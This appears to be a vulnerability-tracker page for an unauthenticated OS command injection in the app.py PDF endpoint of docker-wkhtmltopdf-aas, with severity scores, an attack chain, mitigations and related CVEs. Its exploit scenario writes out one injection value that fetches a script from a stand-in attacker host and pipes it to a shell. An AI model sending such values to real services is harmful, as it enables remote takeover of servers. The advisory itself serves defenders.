Skip to main content

docker-wkhtmltopdf-aas CVE-2026-36576

| EUVDEUVD-2026-34099 CRITICAL
OS Command Injection (CWE-78)
2026-06-03 mitre GHSA-v5gc-8cqm-ww2h
9.8
CVSS 3.1 · Vendor: mitre
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Discover exposed wkhtmltopdf-aas endpoint
  2. Delivery
    Craft POST with shell metacharacters in PDF input field
  3. Exploit
    Server concatenates input into shell command
  4. Execution
    wkhtmltopdf invocation executes injected commands
  5. Persist
    Attacker gains code execution in container
  6. Impact
    Pivot to internal network or exfiltrate rendered data

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The service's HTTP PDF-conversion endpoint must be reachable by the attacker (the container's exposed port, by default reachable to anything on the Docker bridge/host network or wherever the operator publishes it) and must be running code at or before commit 9f505797671c3339520dec5fc01dff3a6f324f2e of openlabs/docker-wkhtmltopdf-aas. No authentication, no user interaction, and no non-default configuration are required per CVSS AV:N/AC:L/PR:N/UI:N - the vulnerable code path in app.py around line 40 is the normal request handler, not a debug or optional feature. The practical limiting factor is exposure: this is an internal microservice image, so risk concentrates on deployments that have published the container port to the internet or to untrusted internal network segments.

Impact

All quantitative signals point to high risk: CVSS 9.8 with AV:N/AC:L/PR:N/UI:N indicates trivially reachable, unauthenticated, no-interaction RCE with high CIA impact, and CWE-78 in a thin HTTP wrapper around a CLI tool is the textbook 'automatable' SSVC scenario. However, EPSS, KEV, and SSVC values were not provided in the input, so empirical exploitation probability cannot be quoted; the project is also a relatively niche Docker image rather than a mass-deployed enterprise product, which likely limits opportunistic scanning despite the easy exploitability. The CPE string 'cpe:2.3:a:n/a:n/a' and EUVD affected version of 'n/a n/a' are placeholders rather than real product identifiers - anyone running this image must self-identify exposure by matching commit hashes, since automated CPE-based asset inventories will not match.

Exploit ScenarioDerived

An attacker on the network reaches the PDF conversion endpoint (commonly exposed on port 80/8080 inside Docker) and sends a POST request whose body parameter contains shell metacharacters appended to the URL or HTML field - for example a value like 'http://x; curl attacker.tld/s | sh' that breaks out of the wkhtmltopdf argument and runs the trailing command. Code executes inside the container as whatever user the Flask app runs as (typically root in the published image), giving the attacker a shell from which to pivot to the Docker network, exfiltrate internal documents being rendered, or stage further attacks.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
No patch listed yet 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 03, 2026

Remote command execution in openlabs docker-wkhtmltopdf-aas (up to commit 9f50579) allows unauthenticated attackers to run arbitrary OS commands by sending a crafted POST request to the app.py PDF conversion endpoint. The CVSS 9.8 rating reflects network-reachable, no-privilege, no-interaction exploitation, and while no public exploit identified at time of analysis, the referenced source line (app.py#L40) makes the injection sink trivially discoverable for any attacker reviewing the repository.

RemediationAI

No vendor-released patch identified at time of analysis - the referenced GitHub issue (#36) is the only upstream remediation signal and no fixed commit or tagged release is cited in the input. Operators should treat the public image as unsafe and either fork the repository to replace the shell-style invocation in app.py around line 40 with a list-argument subprocess.run(..., shell=False) call that passes user input as separate argv elements, or migrate to a maintained alternative such as the python wkhtmltopdf bindings or Gotenberg. Until code is fixed, restrict the container's HTTP port to a trusted internal network only (block external ingress at the reverse proxy or Docker host firewall - side effect: any legitimate external consumer breaks), put it behind an authenticating reverse proxy that strips or rejects shell metacharacters (?,;,|,`,$,&,newlines) in POST bodies (side effect: may break legitimate HTML containing those characters and is not a reliable bypass-proof control), and run the container as a non-root, read-only filesystem user with a dropped capability set and no outbound network egress to limit post-exploitation impact.

Affected VersionsENISA

n/a n/a

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

docker-wkhtmltopdf-aas is a small Flask-based 'as-a-Service' wrapper that exposes the wkhtmltopdf binary (an HTML-to-PDF renderer built on Qt WebKit) over HTTP inside a Docker container, typically used as an internal microservice for generating PDFs from HTML or URLs. The vulnerability falls under CWE-78 (Improper Neutralization of Special Elements used in an OS Command), meaning user-controlled POST data is concatenated into a shell command invocation of wkhtmltopdf without sanitization or use of an argv-style subprocess call. The referenced line app.py#L40 indicates a single specific sink in the request handler where shell metacharacters (semicolons, backticks, $() substitution, pipes) in user input break out of the intended argument and execute as additional commands under the container's process user.

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (mitre) PRIMARY 9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Primary rating from Vendor (mitre) · only source for this CVE.

CVSS VectorVendor: mitre

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
CVSS changed
Jun 03, 2026 - 19:22 NVD
9.8 (CRITICAL)
CVE Published
Jun 03, 2026 - 00:00 nvd
UNKNOWN (no severity yet)
CVE Published
Jun 03, 2026 - 00:00 nvd
CRITICAL 9.8

DescriptionCVE.org

An OS command injection vulnerability in the app.py component of openlabs docker-wkhtmltopdf-aas up to commit 9f50579 allows attackers to execute arbitrary commands via a crafted POST request.

Executive ViewAI

Why It Matters

openlabs docker-wkhtmltopdf-aas versions through commit 9f50579 contain a critical unauthenticated remote code execution vulnerability in the PDF conversion endpoint that allows attackers to execute arbitrary system commands without authentication. Any organization running this container is at immediate risk of complete infrastructure compromise, with the vulnerability being trivially discoverable to attackers reviewing the publicly available source code. Immediate isolation and migration to an alternative PDF processing solution is required.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Immediately restrict network access to PDF conversion endpoints to trusted internal subnets only via firewall rules; (2) Deploy Web Application Firewall (WAF) rules to block suspicious POST request patterns to the vulnerable endpoint; (3) Require authentication/API key validation at the API gateway layer before requests reach the container; (4) Disable the service immediately if operationally acceptable; (5) Establish SIEM alerting for suspicious POST activity to the vulnerable endpoint. These controls reduce exploitation risk but do not eliminate the vulnerability-vendor solution replacement is mandatory.

Threat Intelligence Overview

EPSS Score
0.3%
Top 51% exploitable
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.3%
Patch available No
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

49
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +49
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy